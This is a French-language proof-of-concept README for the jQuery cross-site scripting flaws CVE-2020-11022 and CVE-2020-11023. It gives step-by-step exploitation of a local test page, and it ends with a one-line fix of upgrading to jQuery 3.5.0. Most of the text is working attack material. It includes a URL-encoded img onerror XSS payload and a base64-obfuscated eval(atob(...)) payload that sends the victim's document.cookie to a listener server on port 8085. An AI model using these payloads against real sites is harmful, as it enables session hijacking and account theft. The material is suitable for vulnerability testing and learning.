CVE-2020-11022 CVE-2020-11023

Dans les versions de jQuery supérieures ou égales à 1.2 et antérieures à 3.5.0, le passage de HTML provenant de sources non fiables - même après l'avoir nettoyé - à l'une des méthodes de manipulation du DOM de jQuery (c'est-à-dire .html(), .append() et autres) peut exécuter du code non fiable. Ce problème est corrigé dans jQuery 3.5.0.

Dans les versions de jQuery supérieures ou égales à 1.0.3 et antérieures à 3.5.0, le passage de HTML contenant des éléments provenant de sources non fiables - même après l'avoir nettoyé - à l'une des méthodes de manipulation du DOM de jQuery (c'est-à-dire .html(), .append() et autres) peut exécuter du code non fiable. Ce problème est corrigé dans jQuery 3.5.0.

Exploit

1. Hébergez la page index.php sur un serveur web PHP. Je suggère d'utiliser sudo php -S 127.0.0.1:80 pour démarrer un serveur rapide.

Simple XSS

2. Visitez le chemin http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=alert(1)%3E
3. Appuyez sur le bouton "Append via .html()".
4. Voyez la popup d'alerte.

Cookie stealing

2. Démarrez un autre serveur web sur le port 8085, je suggère d'utiliser Python pour cela sudo python3 -m http.server 8085
3. Visitez le chemin http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=eval(atob(%27ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly8xMjcuMC4wLjE6ODA4NS8/Yz0iK2RvY3VtZW50LmNvb2tpZQ==%27))%3E
4. Appuyez sur le bouton "Append via .html()".
5. Vérifiez les logs Python et voyez votre cookie dans le log.

Fix

Si vous souhaitez corriger cette CVE dans ce script, changez simplement la version de jQuery vers https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.js :)